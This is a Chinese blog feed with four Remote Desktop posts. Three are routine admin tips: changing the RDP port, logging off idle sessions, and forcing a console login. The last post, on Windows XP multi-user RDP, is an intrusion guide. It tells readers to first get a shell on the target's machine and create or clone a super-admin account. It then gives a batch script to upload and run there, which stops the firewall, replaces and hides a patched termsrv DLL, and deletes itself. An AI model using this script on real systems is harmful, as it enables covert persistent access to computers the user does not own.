远程桌面 – 嗨软 https://ihacksoft.com/archive 分享最好用的常用软件 Tue, 22 Nov 2022 02:41:09 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.9.26 Windows 10 远程桌面端口号修改方法 https://ihacksoft.com/archive/1384.html https://ihacksoft.com/archive/1384.html#respond Thu, 30 Dec 2021 03:23:00 +0000 https://ihacksoft.com/?p=2113 大家都知道,远程桌面的默认连接端口为3389。但很多时候出于安全考虑,我们会修改其默认的连接端口号。这里把修改方法记录一下。

1、按下WIN+R,输入regedit回车打开注册表。

2、注册表修改远程桌面端口(1)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\wds\rdpwd\Tds\tcp

你会发现右边一栏出现【portnumber】,选择右击【修改】,选为10进制,修改为你想改的端口号。我修改为33890。

3、注册表修改远程桌面端口(2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\winstations\RDP-Tcp

与上面相同,修改端口号为33890。

4、只修改了远程桌面端口还不行,必须修改防火墙远程桌面例外,保证远程桌面入站,下图为第一步的图标,你会发现远程桌面是灰色(红色框选区域),没有法更改,只能使用注册表。

5、修改防火墙远程桌面例外的端口(1)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\sharedAccess\Defaults\FirewallPolicy\FirewallRules

将RemoteDesktop-In-TCP的值中包含3389的数据改成33890。

6、修改防火墙远程桌面例外的端口(2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\sharedAccess\Parameters\FirewallPolicy\FirewallRules

将RemoteDesktop-In-TCP的值中包含3389的数据改成33890。

7、重启电脑

重新启动 Windows 10 之后就端口修改完成!

之后连接选程桌面可以使用 IP:端口号 这样的形式连接。

]]>
https://ihacksoft.com/archive/1384.html/feed 0
Windows 2003远程桌面“终端服务器超出了最大允许连接数”的解决方法 https://ihacksoft.com/archive/1141.html https://ihacksoft.com/archive/1141.html#comments Wed, 16 Dec 2009 06:32:50 +0000 https://ihacksoft.com/?p=1870 强制登陆“终端服务器超出了最大允许连接数”的终端。那么登陆上去后如何解决这个问题呢?不可能每次都用那种方法登陆吧?! ]]>   刚刚讨论了如何强制登陆“终端服务器超出了最大允许连接数”的终端。那么登陆上去后如何解决这个问题呢?不可能每次都用那种方法登陆吧?!

一、登陆上去后,打开任务管理器-用户,注销其它用户。

二、如果可以Telnet,不管用什么方式,反正可以得到服务器的Shell。
上去后先看登陆的用户,输入命令:query user
系统返回:

 用户名                会话名             ID  状态    空闲时间   登录时间
administrator         console             0  运行中          .  2009-12-16 8:30
hqw23                 UserMachine1        1  运行中          .  2009-12-16 12:37
user                                      12 已断开         无  2009-12-16 15:17 

看到了吗?ID为0的用户是本地登陆的,ID为1和ID为12是3389登陆的用户。前者在运行中,后者已经断开了。但是断开了仍然占用系统资源和通道。我们要把它踢掉,方法是:
输入命令:logoff 12

再次query user,显示:

 用户名                会话名             ID  状态    空闲时间   登录时间
administrator         console             0  运行中          .  2009-12-16 8:30
hqw23                 UserMachine1        1  运行中          .  2009-12-16 12:37

三、如果服务器关闭了Telnet功能,还可以通过SqlServer的xp_cmdshell扩展存储过程,使用格式:
master.dbo.xp_cmdshell '命令内容'
此方式要求有访问xp_cmdshell的权限。

]]>
https://ihacksoft.com/archive/1141.html/feed 1
一句话技巧 – 强制登陆“终端服务器超出了最大允许连接数”的Windows 2003远程桌面 https://ihacksoft.com/archive/1140.html https://ihacksoft.com/archive/1140.html#respond Wed, 16 Dec 2009 06:32:49 +0000 https://ihacksoft.com/?p=1869 “终端服务器超出了最大允许连接数”! ]]> 今天用远程桌面登陆服务器,输入用户名和密码,弹出提示:

“终端服务器超出了最大允许连接数”!

如何解决?

开始-运行-mstsc /console /v:ip

]]>
https://ihacksoft.com/archive/1140.html/feed 0
Windows XP下3389远程桌面多用户同时登录 https://ihacksoft.com/archive/1015.html https://ihacksoft.com/archive/1015.html#respond Wed, 04 Nov 2009 08:24:09 +0000 https://ihacksoft.com/?p=1744 一、首先准备一份XP SP2 Build 2055版本的终端服务器执行文件Termsrv.dll,这里我们把它更名为Termsrvhack.dll。没有此文件的请在下面留言。

二、编写批处理如下:
@echo off
@net stop sharedaccess

]]>
一、首先准备一份XP SP2 Build 2055版本的终端服务器执行文件Termsrv.dll,这里我们把它更名为Termsrvhack.dll。没有此文件的请在下面留言。

二、编写批处理如下:
@echo off
@net stop sharedaccess
@ntsd -c q -p "pid"
@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
@copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll
@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\termsrvhack.dll
@shutdown -a
@del c:\termsrvhack.dll
@net start termservice
@del c:\3389.bat
其中"pid"要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然Windows 2000和以下系统是没有tasklist命令的。

三、讲解一下具体的操作过程。先要得到对方的一个CMD Shell,然后在Shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。接下来把准备好的Termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理,提示成功!

四、最后打开远程桌面登陆器,用刚才新建的超级管理员帐户进行3389终端登陆!

]]>
https://ihacksoft.com/archive/1015.html/feed 0